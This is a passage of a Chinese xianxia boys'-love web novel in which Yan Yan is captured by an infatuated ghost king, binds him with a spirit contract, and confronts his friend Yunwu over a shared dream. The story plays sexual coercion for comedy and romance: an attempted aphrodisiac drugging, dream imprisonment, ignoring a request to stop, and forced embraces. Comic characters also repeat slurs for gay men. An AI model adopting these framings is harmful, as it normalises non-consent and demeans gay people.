随着话语落尽,眼前的梦境终于被暴力撕破了一角,开始剧烈的抖动,所有的人、物都在顷刻之间被揉皱、破碎,天地之中,只剩下他和云梧紧紧相拥。 梦魇沙哑难听的尖啸在耳边炸开。 下一瞬,梦境中的景象彻底被撕碎,白光倾泻而出,眼中景色只剩虚无一片。 * 宴焱再睁眼时,面前不是云梧结实的胸膛,而是冥界单调且沉闷的苍穹。 梦魇早就不知道去了哪儿,更糟糕的是,他俩似乎被梦魇有意的拆开,传送到了不同的地方。 宴焱先是缓慢的伸了伸手,却发现自己的腕上又缠了一节链。只不过这回不是云梧精雕细琢的银链,而是换做了一节具有锁定修士灵力作用的锁仙链。 察觉到手上缠着的是什么东西之后,宴焱的眉尖瞬间攥紧,警铃大作。 所幸其余地方还能动,宴焱侧过身,迅速掠过周遭的环境。 这里貌似是一处祭台,他被搁置在祭台的一根玉柱之下,脊背紧贴着冰冷的柱体。 祭台之下是巨大的广场,广场两侧各自竖有八根巨大顶天的柱体,各有两队小鬼在柱下看守。 它们被粗大的铁链串在一块儿,由于冥界如今灵气大乱的原因,似乎精神也不济。但个个铜面獠牙,长得颇为可怖。 宴焱迅速冷静下来,判断着眼前的局势。 手上的锁仙链不是凡品,所有者肯定是位高权重之人。他刚从梦魇出来就被人锁住,那锁他的人昭然若揭,应当就是这个把月养蛊养出来的那位‘鬼王’了。 不清楚鬼王的目的,宴焱也不敢轻举妄动,只能极力观察着周边的局势,谋划出处。 忽地,宴焱一侧眸,瞥见了一道熟悉的身影。 却见另一侧玉柱之下,同样用锁仙链捆了道纤细的身影。只不过那人歪着头,赫然酣睡得香极了,一面睡,还一面咂巴着嘴,念念有词。 定睛一看,正是云梧的师姐,三青鸟。 宴焱略微一怔,尝试的挪了挪身,朝着三青鸟靠近。 “三青道友,三青道友?” 他开口轻声唤道。 但三青鸟睡得很熟。任凭宴焱怎么唤她,她就是不醒,甚至还扭了扭头,梦呓更加大声了: “我真不知道他在哪!我真不知道他在哪!” 说完这两句话,三青鸟又嘎巴一下歪过头,继续呼呼大睡。 宴焱见呼唤无果,微不可查的叹了口气,又老老实实的挪了回来。 小鬼们神智不清,所以宴焱的苏醒也没有让他们有什么反应,倒是给了宴焱充足的时间盘算。 祭台之上有三根玉柱,玉柱之后便是断崖。宴焱略看了一眼,崖底毫无边际,只能看到遥远山脉的轮廓。前方的广场上有密密麻麻的小鬼把守,在锁仙链尚未解开的情况下,突围出去也十分困难。 溟倒是醒了,这会儿缓慢的从发间爬出,攀上了宴焱的肩头,嘶叫了两声,尾部抬起,奋力的要去掰那锁仙链。 但锁仙链是用玄铁做成的,溟的力量还不能足矣硬生生掰断。 就在这时,系统忽然从角落里滚了出来,它谄媚的扇了扇翅膀,一面逼近,一面大嚷道: “宿主,宿主,有新剧情解锁啦——” 第73章 鬼王 系统的声音不容忽视, 宴焱立刻就注意到了它。 却见系统忽地凑近,神神秘秘的附在宿主耳边,道: “宿主, 咱这剧情可不比往常, 您绝对想不到——” 宴焱一挑眉, 颇有点不耐烦, 问道: “你倒是直说是什么?” 看系统笑成那样,宴焱也知道大概不是什么正常剧情,果不其然, 系统下一秒便挤了挤眼, 脱口而出道: “是英雄救美!嘿嘿嘿!” 英雄救美? 宴焱一愣,立马反应了过来。 这鬼王刚刚获得力量不久,想纳美人也合乎逻辑。而他们一行人突兀的出现在冥界,被鬼王盯上也并不稀奇。 思索一二,宴焱微微颔首,瞥了眼熟睡的三青鸟, 责任感油然而生, 道: “我知道了, 我会保护好三青道友的!” 虽说云梧和他的关系产生了一点儿小间隙,但并不消除他俩始终是好兄弟的事实。三青鸟是云梧的师姐, 如今她有难,宴焱自然不会束手旁观。 三青鸟这头还在熟睡, 宴焱则是尽力的挣动锁仙链。 锁仙链箍得很紧, 宴焱耗尽手段也只能挣开一点儿活动的缝隙。但这也足够溟从中穿过, 用自己的坚硬的躯体一点点撑开手腕和链条的空隙。 灵力一点点汇聚,宴焱没有声张,而是静待其变, 将灵气氤氲在掌心。 约莫过了半个时辰,底下广场上的小鬼也开始逐渐骚动,隐约有‘鬼王’等字眼在鬼群中炸开。 宴焱侧耳听了一会儿,心下也有了猜测。 是那鬼王终于要来了么? 果不其然,随着系统提示音滴滴响起,【英雄救美】剧情线也正式进入倒计时。却见冥界古板阴沉的苍穹忽地从中间被撕开一道巨大的裂缝,有人影从中缓缓穿过。 宴焱缓缓眯了眯眼,瞳孔锁定高处的身影。 来人一身白色长袍,束发,面容倒是俊雅,俊是俊,就是说不出的哪里奇怪。宴焱上下扫了几眼,总觉得这人的眉眼走势有种说不出的熟悉和怪诞感。 鬼王也很快锁定了已经苏醒的宴焱,他先是一踏步,迅速缩地成寸,移到了宴焱跟前。 祭台之上,只剩下了宴焱和三青鸟二人,其余的小鬼都被手拿长鞭的鬼将驱赶到了玉柱的后边。 宴焱早已移动了身体,不找痕迹的挡在三青鸟的面前,面色冷凝,紧盯着眼前的鬼王。 鬼王身上的波动很淡,宴焱一时间无法探查清楚他的境界。只见他忽然伸出一只手,冷气森森,停在了离宴焱半臂远的距离,又忽地顿住。 在宴焱不客气的回望的同时,鬼王的那双黑色瞳仁也在死死盯着宴焱。 “终于抓到了。” 他喃喃自语。 冷气从脊梁骨猛窜了上来。 宴焱抿紧唇肉,又侧了侧身,挡住鬼王望向三青鸟的视线,心下警铃大作。 这鬼王如此狡猾,看来是早就盯上了三青道友! 却见鬼王猛的向前走了一步,眼见要往三青鸟那走去—— 宴焱瞳仁猛的一缩,也顾不得隐藏灵力了,手狠狠一挣,硬生生拓开一道缝隙,将手抽出,同时溟也一并缠上他的手腕,冲着眼前的鬼王抽去—— 鞭影凌厉,但宴焱的灵力还未完全恢复,加之冥界是鬼王的主场,几乎是一瞬,鬼王快准狠的伸手,将那长鞭鞭尾紧紧攥在了手心中。 宴焱只觉得鞭尾部传来一阵不容忽视的力道,拽着他往里挪了一寸。 再一抬头,鬼王的整个眼球被淡白所覆盖,黑色瞳孔消失,取而代之的是森白一片。 他的眼睛对准了宴焱的方向,歪了歪头,启唇道: “为为为什么拦我?” 宴焱一顿。随即立刻咬牙应声道: “好你个鬼王,你妄图染指无辜女修,竟还有脸问出这种话来?” 鬼王停滞了片刻,转而轻轻侧了侧头,望了眼三青鸟,又望了眼宴焱,在一片紧绷的静谧中,又慢吞吞的开口道: “没没,没有女……” 可话说到一半,鬼王忽地顿住了,转而像是意识到了什么,睁大了眼: “你是女女女修?” 说着,鬼王又猛的凑近,几乎贴上了宴焱的脸,上上下下的扫了眼。 “怪不得、比男修好好好看。” 宴焱:? 他嫌恶的往后挪,不让鬼王贴近他。同时脑袋飞速转动这鬼王此话的意思。 系统在一旁看着,听了这话,登时急了,牙尖嘴利的开嚷道: “你个小反派胡说什么呢?你龙傲天爷爷多有阳刚之气男子气概啊,这都能认错性别你也是早点投胎去吧!” 宴焱和鬼王短短几个来回,闹出的动静不小。一旁昏睡已久的三青鸟悠悠转醒,睡眼惺忪的睁开眼,她先是望见在她不远处的宴焱,愣了愣,随后再一瞥,看见一侧贴近的鬼王之后,登时瞪圆了眼,反射性的喃喃道: “不好了师弟不好了师弟……” 这一声将对峙的二人视线都引了过去。 宴焱见三青鸟醒来,又是一副魂不守舍的模样。他也没顾得上三青鸟到底说的什么,斩钉截铁的开口道: “三青道友莫慌,我宴焱不会让你落入这歹人手里的!!” 可话音刚落,三青鸟却没有流露出宴焱料想中的感动,反而面露难色。 她支支吾吾的小声嗫嚅,末了,才敢道; “内个……可能,好像,这家伙不是冲着我来的。” 只不过她的声音微弱,叫宴焱一时间没能听得清楚。 先是在印证三青鸟的话一般,鬼王同时出手,从三青鸟的背后扯出一包样貌奇怪的草药。 三青鸟见背后东西被夺,急得直冒冷汗,大喊道: “宴道友,快跑,快跑,那是特质的春|药!!” 一见是春|药,宴焱更是气得浑身的血流冲上面颊,狠狠盯紧了面前的鬼王,道: “你这歹人!居然想用用这种险恶的法子强迫人!!” “有我宴焱在这,你休想动三青道友的一根毫毛!” 宴焱此话并不是单纯的恐吓,锁线链被他挣脱得差不多了。修君和溟的灵力也氤氲于丹田之中,即使无法直接将鬼王斩杀,宴焱也有自信能拖一拖他! 话音落下,却见那鬼王没有露出想象中的愤怒,反而是又轻轻歪了歪头,眉目透出几分困惑不解: “你在说说说什么?” 不过他没有太纠结宴焱的愤怒,转而低下头,盯着春、药,忽地展露出一抹奇异的、羞涩的笑容来。 “我终于要得到你了。” 与此同时,三青鸟也急得直喊出声: “宴道友你别管我了,他盯上的是你啊!!” 宴焱的凤眸猛的睁大,不可置信的望三青鸟那一侧望去。 但没等他问出声,鬼王冰冷的指头忽地不由分说的捏紧宴焱的下颚,强硬的掰开宴焱的唇肉,眼见着就往里头灌春药。 感受到下颚处不容忽视的力道,宴焱瞳孔一缩。 不是说好了英雄救美吗?? 这剧本不对吧? 可下一瞬,眼见森凉的指头就要塞进嘴里,宴焱慌忙紧闭了唇,同时往旁一侧头,迅速躲过了塞来的春、药。 三青鸟的话语和鬼王的动作不仅吓到了宴焱,更是把系统吓得滋哇乱叫。 “我靠怎么又有同性恋??!!” 它气得在天上徒劳的转圈,嘴里一边念念着‘可怜我的英雄救美剧情’,一边拍打着短翅,叽里呱啦的直骂: “哇哇哇你个同性恋敢盯上我家宿主!!你知道上一个盯上我家宿主的同性恋下场怎么样了吗?坟头的草都有两米高了!” 系统一边说着,一边悬停在空中,叉着腰,狠狠道: “宿主,你说对吧?!” 宴焱一顿。 宴焱心虚的低下头,不敢直视系统的眼睛。 第74章 我喜欢谁 系统这头还在慷慨激昂的放着狠话呢, 那头宴焱诡异的便陷入了沉默,也不抬头看系统,也不说话。 系统自顾自的的还在叽里呱啦的骂着, 可骂着骂着, 声音渐渐弱了下去, 一双眼忽地瞪如铜铃, 迅速逼近宴焱,颤声问道: “宿主你说句话啊!!” 宴焱佯装没听到系统的质问,撇过头, 心虚的避开系统和鬼王的视线。 见宴焱躲开了春|药, 鬼王捏着他下颚的手一松,忽地顿在原地。 没有继续强迫,也没有愤怒,反而是安静而幽怨的凝视着宴焱。眼球中的白色逐渐如潮水褪去,取而代之的是黑色的瞳仁,眼里还有宴焱看不懂的情愫。 宴焱转过头, 不解的盯着原地不动的鬼王。 鬼王动了, 他白皙如纸的手颤巍巍的举起, 去摘他头上的发束。 指尖轻轻一拧,发束就被扯下, 头发‘哗啦啦’全散。黑如墨的头发迅速生长、生长,铺开黑乌乌的潭水般辽阔的一层, 枝桠从发丝间伸张, 形成树影的轮廓。 不止是三青鸟, 宴焱见了这副景象也一并愣在了原地。 鬼王动作一刻不停,他继续伸出手,熟悉的面容变化, 露出在冥界森林时初见的那张脸。 何其熟悉! 正是这张雌雄莫辨的脸让系统和宴焱都认错了性别。并且自此开始,六界之中出现的断袖更是一个接着一个的出现,让本来正常的剧情线都变得gay里gay气的! 系统气得直哆嗦,宴焱也诧异的一挑眉。 这鬼王不是别的,居然正是他们在冥界寒森遇到的那只断袖魂灵! 鬼王散下发,面上一片惶然幽怨,可怜道: “为为为什么要躲我。” “我我特意等了你这么久,还去捏了,捏了你最最最喜欢的脸脸。” 方才鬼王出现得突然,宴焱只觉得有熟悉之感。这么被他一提醒,宴焱细细的打量之下,蓦地一怔。 眉眼走势凌厉,轮廓深邃…… 像极了云梧! 不光是宴焱认了出来,三青鸟也看出了一点端倪,迅速在二人中间扫了几眼,一会儿看看鬼王,一会儿看看宴焱,面露震惊之色。 系统也哆嗦得睁大了眼,不可置信的望向宴焱。 察觉到三人刺眼的视线袭来,宴焱立刻辩解道: “我不是我没有你乱讲!” 似乎是为了增强可信度,宴焱嘴下一刻不停,手忙脚乱的道: “你这魂灵从哪得到的这消息?我,我哪有最喜欢的脸??你胡说!你胡说!!” 鬼王呆愣愣的歪了一寸头,盯了会宴焱,慢吞吞道: “可可可是梦魇……” “够了!!!” 没等鬼王出声,宴焱唯恐他说出什么不该说的话,立马先一步打断他,浑身的血液涌上面皮,耳垂红艳艳的。 “你别说了!” 反应太大,宴焱自己都觉得有鬼,话头一撇,就要给自己找补。 “那都是假的,都是梦!算不得数,算不得数!” 三青鸟狐疑的眯了眯眼。系统则是长长的呼出一口气,短翅拍了拍自个的胸脯,喃喃道: “就是说就是说,我家宿主怎么会跟那个死对头有什么不可见人的关系呢,死鬼真是会乱讲!” 系统安抚完自己,气焰登时又涨了回来,大骂道: “死鬼!死断袖!让你乱造谣!!我家宿主是天底下最最最最直的直男了,你个死断袖就等着你龙傲天爷爷收拾你吧!” 鬼王听不见系统的咒骂,他眨巴眨巴眼,似乎在判断宴焱此话的真假,不过下一秒,他面上登时扬起甜腻的笑,道: “好啊,那好啊,那你就不喜欢他他他了,对吗?” 宴焱像是被踩了尾巴,厉声强调道: “你说的什么话?我当然、当然不喜欢了!” 此话一出,三青鸟瞳孔地震,系统摸不着头脑,鬼王喜笑颜开。 鬼王的身型也是精心练过的,不知是不是故意的,也和云梧有几分相似。他凑近了点儿,那张原生的素净脸蛋猛的放大,乌黑纤长的睫毛一扇一扇,特地抛媚眼似的,道: “那那那太好了,我可以吗?” 高达粗壮的身躯逼近,宴焱步步后退,厌恶的扭过头,不让鬼王碰到自己一毫,当机立断的冷声拒绝: “你更不可以!!” 鬼王一顿,眉毛攥紧,哀恸的望了眼宴焱,不死心的又凑近。 “为为为什么,你喜欢哪样的?我都可以变出来。” 鬼王一面说着话,那双瞳孔漆黑的眼忽地涌上泪花,眼尾渐渐泛红。 “我不求你对我有什么回应,我只是、是,想陪在你身边,什么样的都可以……” 不得不说,鬼王很聪明。他跟了宴焱一路,也知道宴焱吃哪套。学起来更是得心应手,连说话的方式和腔调都像是特意学的。 真的很像。 宴焱复杂的望了眼鬼王。 吐字的节奏、说话的音调,甚至连眼红服软的时机都把握得一模一样。 但很奇怪的是,分明都是觊觎自己的断袖。鬼王这一哭二闹的只会让宴焱心中更加烦躁,只想宰了他图个清静。 宴焱也是个聪慧的。察觉到自己异常的心思后,他眉头一皱,心下更烦了。 云梧是他好兄弟!!云梧哭他心软就算了!这鬼王是个什么东西,还想东施效颦?? 溟适时的探入宴焱的掌心之中。细白的手指束紧,宴焱不再拖延,蓄力,鞭影一晃,这一回骨鞭便精准的击中了鬼王的胸膛,‘刺啦’一声,钩出一道刺目深深的红痕。 鬼王凄惨的哀叫了一声,没还手。 但冥界毕竟是他的主场,恢复的速度也很快。没过几息,那深可见骨的伤痕便朝中合拢,重新形成一块白皙的皮肤。 被宴焱这一鞭下来,鬼王彻底是被伤了心,哆嗦得直哭。 “为什么,为什么,为什么……” 他大声呢喃着,乌黑的瞳仁又迅速被白色替代,冷白一片,黑发疯狂的生长。 宴焱眉头蹙紧,暗叫一声不好。 周围的灵力波动增大,恐怕下一步便是要调用这后方的祭坛,用往生河畔滞留的小鬼作引吞噬,以壮大自身的实力! 如若让这鬼王再吞吃小鬼,后面再要逃跑便更是艰难了! 情急之下,宴焱忽地启唇出声道: “且慢!你难道不想知道我真正喜欢的人是谁吗?” 宴焱的话语声音不小,不光是鬼王,连在一旁的三青鸟也听得清楚,她睁大了眼,也不顾靠近便会性命不保,连忙凑近,就怕遗漏了什么重要信息。 鬼王发丝生长的速度缓慢了下来,但面上癫狂不减反增,重复疯狂的念道: “是谁是谁是谁是谁?” 他粗大的手伸了过来,意图把住宴焱的腰,却被宴焱一躲,闪过了。 呼啸的灵力潮在祭坛的上方聚集,越来越大,越来愈浓密,形成一块遮天蔽日的阴影,沉沉的压了下来。 鬼王彻底发怒了。 他的嘴巴里不断的有细密的尖啸传来,伴随着人语,诸如‘是谁’‘我要杀了他’之类的话,被捏好的五官也逐渐消融,露出他原本素净的脸,两张脸疯狂交替出现,诡异至极。 分明是如同末日一般的景象,处在风暴中心的宴焱却冷静得可怕。 凤眸沉静乌黑,如风暴前的汪洋。他盯紧了鬼王,蛊惑着开口道: “你过来,我怕被别人听见,你凑近点我就告诉你。” 鬼王顿了顿,全白的眼注视着宴焱,盯了几秒,像是再判断宴焱的意图。 但宴焱始终面色不变,甚至不耐道: “你要是真不想听,我就不说了。” 鬼王面色一动,他迅速贴近了宴焱,将头颅轻轻凑到了宴焱的面前,耳廓贴近宴焱的唇。 “再低一点。” 宴焱忽地启唇道。 “你是不是骗我我我……” 鬼王狐疑的话尚未说完,宴焱的手早就扼住了他的下颚,飞快一伸手,指腹一点血色快准的塞入了鬼王的嘴中。 鬼王闭唇不及,就这么眼睁睁的吞入了宴焱的一滴血。 他还没反应过来,愣愣的盯着宴焱,还砸吧了两下嘴,喃喃道:“甜甜甜的!” 可下一瞬,却见一条粗重的银线从鬼王的头颅中猛的抽出,一头连着宴焱的手,一头赫然是连着鬼王。 正是灵契! 与此同时,上方飞速旋转的灵气漩涡也猛的停顿住,紧接着,爆发出一股刺眼的白芒,柱子后方那几条连着小鬼们的粗壮铁链应声而碎成粉墨,无数小鬼重获自由,飞快的以祭坛为中心,往四周黑压压一片的散开。 鬼王直愣愣的盯着他和宴焱中间的那条银线,好半会儿才反应过来。 “诶诶诶?” “被契契约了诶。” 察觉到手中灵契已成,宴焱紧绷呼吸一松,缓缓吐了口气。 这一次是他冒险了。 以往两次契约都是有系统的buff加持,而这一次则不同,没有系统的奖励,鬼王的境界也与他相差很大,所幸这鬼王像是个傻的,而且傻得很纯粹,九转灵体在形成契约的过程中根本没有受到什么阻碍。 鬼王的力量很醇厚,顺着银线接连不断涌入。 契约爆发而开的动静不小,自然引起了冥界其他人的注意力。 宴焱才刚将鬼王强行收入系统空间,那头远远的便出现了一道熟悉的身影。 玄衣长剑,化作灰宴焱都认得出来。 来人的速度很快,飙着剑,刮起阵阵凌厉的风,嘴中还念着: “焱焱,焱焱——” 被呼唤的宴焱却脊背一僵,像是想起什么,扭过头,装作什么也没看见。 第75章 算账 云梧面色焦急, 脚下箐云剑飞快的袭过,刮起一道道劲风,沿途的树枝都被掠下几枝。 宴焱面上装作不认识, 私下却是手忙脚乱的把鬼王又往里踹了踹, 心虚似的, 不敢抬头去看。 但云梧的速度很快, 不一会儿的功夫,人就掠至宴焱跟前。箐云剑一收,云梧大踏步前来, 不由分说的便紧紧的抱住了宴焱。 他面色焦灼, 嘴里喃喃一直念着‘焱焱’二字,似乎真被吓到了。 紧紧一抱之后,云梧忽地往后退了一步,离远了点,就翻来覆去的去瞧宴焱的全身各处,生怕他哪里受了什么伤。 宴焱被扣着肩膀, 只觉得身上不停游走着一双大手, 仔仔细细的探查着他的各处。 云梧一面瞧, 一面嘴里一刻不停的念着: “焱焱,你有没有受伤, 有没有不舒服,那鬼王有没有对你做什么——” 提起鬼王, 宴焱不知为何一阵心虚, 躲闪的眨了眨眼。 这么点动静, 被云梧敏锐的察觉出,立刻就慌了脸色: “那鬼东西真对你做什么了吗??焱焱,你是不是哪里不舒服了?!” 宴焱连忙否认道: “没事, 我没受伤,那鬼王被我制服了。” 宴焱闭口不提鬼王做了什么,这态度让云梧狐疑的一抬眼,显然是不甘心。 他刚想着急的再追问些什么时,宴焱却轻轻甩开他的手,抢先一步撇开话头,冷哼道: “你别想转移话题!梦魇里的账我们还没算呢!!” 云梧方才还焦急的气势顿时弱了下去,他讪讪的眨了眨眼,嘟囔: “明明是焱焱你转移话题,我们还没说清楚鬼王的事情呢……” 宴焱却不上他的当。他唇角一扯,皮笑肉不笑,一字一顿: “是么?” 面容森冷,语气不善。 云梧想起了什么,云梧额角直冒冷汗,云梧讪讪笑了两声。 ‘焱焱,那个,焱焱你听我解释……’ 宴焱眉眼弯弯,笑得和蔼。他闻言,点了点头,好整以暇道: “好啊!” “云兄你可要给我好好解释解释呢。” 宴焱平时不爱笑。云梧见惯了他冷脸的模样,今日一见那张美人面盈盈带笑,一时间既是冷汗直冒,又是不知不觉的看直了眼,愣愣的胡乱‘嗯’了两声。 直到宴焱不耐的皱眉,他才恍然反应过来。 从梦魇中出来之后道云梧第一时间没找到宴焱,所以心慌意乱,也没来得及细想梦魇之中发生的事情。而今被宴焱提起,梦魇里那些该死的情节和糟糕的台词便疯狂掠过云梧的脑海。 越是回想,云梧的心就愈发凉,身体硬硬的,像是死了许久。 完了…… 他都做了什么好事?!! 分明是高大的个头,此时的云梧却低垂着头,挨训般的拘谨站着,只想一巴掌拍死梦魇里一时做梦一时爽的自己。 什么替身什么生子什么囚|禁…… 云梧心中细数,眼前阵阵发黑。 这些话本情节以往云梧都藏着掖着,唯恐让焱焱看到,生怕脏了他的眼。 现在倒好了,他直接在梦里强迫着焱焱上演这些情节了…… 云梧的眼胡乱飘着,嗫嚅着唇,久久憋不出一个字来。 宴焱不慌不忙的等了会,似乎是算准了云梧心虚得一个字也吐不出来,唇边提着笑,凤眸是冷的,轻声道: “云兄要是忘性大,那我便慢慢帮你回忆一下,如何?” 云梧低着头,说‘好’也不是,说‘不好’也不是,半晌吐不出一个字,只是背后渐渐起了一层汗,面色发白。 宴焱还是笑着,嘴边话语轻柔: “云兄的梦里我的生活过得倒是滋润啊,也难为云兄惦念着兄弟我的幸福,给我安排了一堆蛇妃,我真是要好好谢谢云兄的美意了。” 宴焱的咬字很轻,可每一个音节都狠狠敲打在云梧心头,叫他冷汗直冒。 “怎么?云兄怎么不说话了?” 云梧讪讪: “焱焱,不是,你听我解释,我肯定没有让你喜欢蛇的意思,你不喜欢蛇我高兴还来不及呢……” 云梧一边说着,一边慌忙摆手,就怕是让宴焱误会什么。 只是此话一出,溟却不高兴了,探出头来,恶狠狠的对着云梧嘶叫了两声。 宴焱不动声色的把蠢蠢欲动过的溟按回原位,歪了歪头,道: “那孩子怎么一回事?” 云梧辩解的话堵在嘴边,一怔,随即心虚的又低下头。 宴焱还在继续: “那么多个孩子呢。红橙白绿青蓝紫都有呢,不知道以为我在开蛇类养殖场呢。嗯?不说话?” “云兄那时话很多嘛,现在怎么话这么少了?我生了这么多条的小蛇我都没有沉默,云兄怎么就沉默起来了?” “云兄,说话!” 云梧的头越来越低。 他只觉得自己的前途一片渺茫。 本来进秘境前他还想着温水煮青蛙。一年不行就十年,十年不行就百年,百年不行就千年…… 现在倒是好了,别提温水煮青蛙和伪装直男在焱焱身边呆着,他那龌龊的心思全让焱焱看了去,别提做兄弟了,今后能不能说上话都说不准呢…… 云梧面前阵阵发黑,面色愈白。 宴焱一刻不停: “哦对了,还有那条囚|禁我的银链。” 三青鸟自云梧来了之后就一直竖起耳朵在一旁听着。 当她听见那什么‘生子’‘蛇妃’之类的词汇时,眼睛瞪大,一瞬间就明白了宴焱在说什么。‘囚,禁’二字从宴焱嘴中吐出后,三青鸟更是倒吸了一口凉气,瞪着眼,愣愣的望向云梧。 师弟啊!!! 旁人都是看看就算了,她师弟才是真男人,敢看也居然敢实践啊!! 可惜云梧听不见三青鸟的腹诽,他只是一个劲儿低着头,半晌心虚的吐不出一个字。 宴焱这头还在如数家珍: “没完呢,还有什么替身,春、药……” 宴焱掰着手指头数呢,每摁下一根手指,三青鸟的眼睛就瞪大一分,云梧的头就往下埋一寸。 终于话语说尽,宴焱笑眯眯的抬起头,夸道: “云兄,你可真是涉猎广泛呐。” 云梧目移,云梧悻悻: “焱焱我错了……我真错了。” 宴焱没答应,反问道:“错哪儿了?” 云梧低头老实道: “对不起,我不该囚、禁焱焱,也不该借着春|药和焱焱作,更不该在焱焱都说要停的时候还內s焱焱……” 道歉的话是一边说的,云梧的脑子里是一刻不停的在回味的。 讲到最后,云梧的语气变了调,不像是道歉,倒像是在说还想来。 宴焱:…… 他磨了磨后牙槽,竟是气笑了。 他以前怎么没发现呢,云梧这家伙哪是什么重情重义好兄弟,分明是没脸没皮死断袖才对! 亏他宴焱还相信了云梧这么久开,把他当作直男一样互相照拂…… 宴焱越想越是气恼,连哼了几声,一扭头,转身便要走! 云梧一见宴焱转身不理他,真的生气了。心下也慌乱作一团,束手无策,也顾不得什么三七二十一了,只想着要把焱焱留下。 他快步跟上,一伸手,就这么紧紧的将人给抱住了。 云梧的力道很大,生怕人跑了,低着头,箍着宴焱的腰,把人牢牢实实的圈住。任凭宴焱这么踢踹,云梧都像是根木头一样矗在原地,动都不动一下。 宴焱气急:“松手!!云梧!!我让你松手!!” 云梧固执的摇头:“不松,我不松,松了你就跑了!” 宴焱见踢踹没有反应,扭头就要咬。 虎牙尖锐,隔着一层玄衣狠狠咬下,恶狠狠的磨了磨云梧肩膀硬邦邦的肌肉。 宴焱这一咬没收力气,奋力的咬下,恨不得就这么把这死断袖咬死在这了! 他一边咬,一边还气得哆嗦。手臂抻直,不断的打云梧的胸膛,泄愤似的。 宴焱打着打着,只觉得两眼也发黑。 自打他开始闯荡六界。遇到了数不甚数的死断袖。幸好有云梧这么一个天命之子在旁作伴,两个直男相依为命,没想到啊,没想到啊…… 宴焱深深一闭眼,收紧牙关,虎牙下陷,磨着底下硬邦邦的肌肉,心里愈发恨那归墟秘境中出现的话本了。 他爹的。 这六界到底还有没有直男了!!! 第76章 纠缠 宴焱越是挣扎, 云梧就楼得越紧。手臂往回缩,生怕人一溜走就不见了,再也找不着了。 这样的惶恐并非是凭空而来。 宴焱对于断袖之事的厌恶云梧是看在眼里的, 为此也不少发愁。而今这该死的梦魇一下就打断了云梧的计划, 叫云梧顿时慌了手脚, 生怕宴焱一气之下就永远都不理他了。 云梧的怀抱闷闷的, 箍得宴焱都快要喘不上气,他又咬又踹的,云梧没反应, 到了最后宴焱都没辙了, 只能气得直骂。 “够了!够了!你真是——没皮没脸的,我说够了!你到底要怎样才肯放开?” 云梧赶忙提条件,闷声闷气道: “你不要跑,不要把我丢下我就放开你。” 宴焱寻思了一下,冷笑道: “这个不行。” 他不跑,这死断袖万一要对他做什么怎么办?都敢把东西塞他里边了, 这死断袖还有什么是做不出来的? 云梧一听急了, 怀抱更紧, 死活不松手。 “那我就不松了!” 没皮没脸的! 宴焱气极反笑,执拗的挣出一只手去拧云梧的手臂, 细白的指头掐着肉,拧了又拧, 泄气似的。 二人僵持不下, 云梧不肯松手, 宴焱不肯松嘴。于是俩人就这么严丝合缝的贴在一块,黏在一起,许久都不松开。 这可吓坏了系统, ‘呼哧’‘呼哧’扇着短翅,诶哟一声叫开了: “好你个云梧快放开我家宿主——不许打他!!可恶的云梧,你为什么要打我宿主,我宿主都要被你打坏了!!” 系统说这话真情实感的,是真的怕云梧一发怒就和他家宿主打了起来。 可怜它家宿主,如今羽翼尚未丰满,身板和云梧这魁梧身型比起来简直算得上单薄,若是云梧下手打重了,把它家亲亲宿主打坏了怎么办呢…… 系统在这哀叫,三青鸟则是瞪大眼,仔细的看,来回的看,生怕错过什么细节。 过了好半会儿,宴焱先忍不住了。 云梧的怀抱又闷又热,这就算了,两只大手也不老实,圈紧了肩头另一只就往胸口蹭,一下又一下的,还以为宴焱察觉不出来呢。 宴焱没好气的道: “好了我答应你!我不跑了,你把手给我松开——” 云梧见好就收,收回了手。可左手小拇指还依依不舍的留在宴焱的手心里,往里勾了勾。 没等宴焱继续说话,云梧先开口,岔开话题问道: “焱焱,鬼王是怎么一回事?” 宴焱顿了顿,言简意赅:“被我契约了。那只鬼王我认识,是当初在寒森里遇见的那只,应该是后来我们走后遇到了什么机遇,就成了这蛊中胜出的那只鬼王。” 云梧的神色顿时紧张起来,立刻又上下打量了眼宴焱: “那他有没有对你做什么?就是断袖那种……” 宴焱没好气的瞪了眼云梧: “没你做得过分!” 云梧大惊,箐云剑跟着嗡鸣一声,出鞘半寸:“他居然敢猥xie你!!我要弄死他!!” 系统空间内的鬼王狠狠打了个喷嚏。 宴焱这会儿是气不起来了,只剩冷笑:“你也知道你的行为是猥xie?” 他顿了顿,转而又道:“被我丢契约空间里了。他想的事情我可没让他得逞。他也用不着你杀,我还没有废物到需要别人保护我。” 云梧被宴焱堵得一愣,气势弱了半截,但还是对那鬼王怀恨在心,箐云剑也一并气得直抖,就盼着把那该死的鬼王斩成渣,喃喃道: “早知在寒森里就把它斩了……” 宴焱没理暗自懊恼的云梧。 怀远剑尊在他们临行前有交代过此行的目的,一是要探查如今冥界的真实情况,二就是要尽量找出魂灵的具体方位。 契约鬼王之后,宴焱倒是从鬼王的记忆里读取到了一些有意思的东西。 ——问心尊者来过冥界鬼市。 这么多的线索指向叩心台。看来这魂灵出逃一事,恐怕和叩心台逃不了关系。 凶手不难找,但让宴焱更困惑的是,叩心台如此大费周折的目的到底是什么?论实力,虽说命修战力基本为无,但在六界之中地位尊崇,资源如山,也犯不着如同邪修一样四处掠夺资源。 况且叩心台就是靠着封印魂灵起家,六界再度大乱对于叩心台来说没有任何好处。 思即此,宴焱忽地抬眸,打断了云梧絮絮自语,问道: “你对叩心台还有什么印象?” 说起正事,云梧立刻正色道: “我师尊和问心尊者的交情不错,所以从我幼时起,我师尊每两三年就会让问心尊者替我算我的命盘,这也是我唯数不多和问心尊者交流的机会之一。” “其余时候,问心尊者大多数都是在闭关修炼,极少出关,也很少闹出大动静。唯一一次阵仗比较大的,应当就是那次浩浩荡荡的清扫断袖的行径了。” “至于他给我算的命盘,”云梧顿了顿,忽地垂下眼,轻声道:“其实我不太喜欢和问心尊者接触,除了那次清扫事件之外就是因为他给我算的命盘。” “问心尊者说我命中注定孤身一人,情缘单薄,还说我是祖师爷的唯一传承人。我师尊又是个痴迷祖师爷的,听了他的话,更是对我……总之,我不喜欢他。” 三青鸟一直在旁竖着耳朵听着,见一直黏在在一块的二人终于分开,还聊起了正事,她也知道点内情,忙是附和道: “是啊是啊,宴道友你有所不知,云梧他十二岁的时候叛逆期。又因为我师叔管太严,离家出走去了南境历练,差点便丧身妖兽爪下。” “偏偏我师叔又是个爆脾气的,啧啧啧,那场面——反正最后是被关了许久的禁闭吧,还把云梧他私藏的话本子都给找出来烧了,不少还是借我的呢……” 云梧被揭短,面上尴尬了一会儿,瞥了眼宴焱的眼色,见他没有露出什么异样的神情,这才微微松了口气。 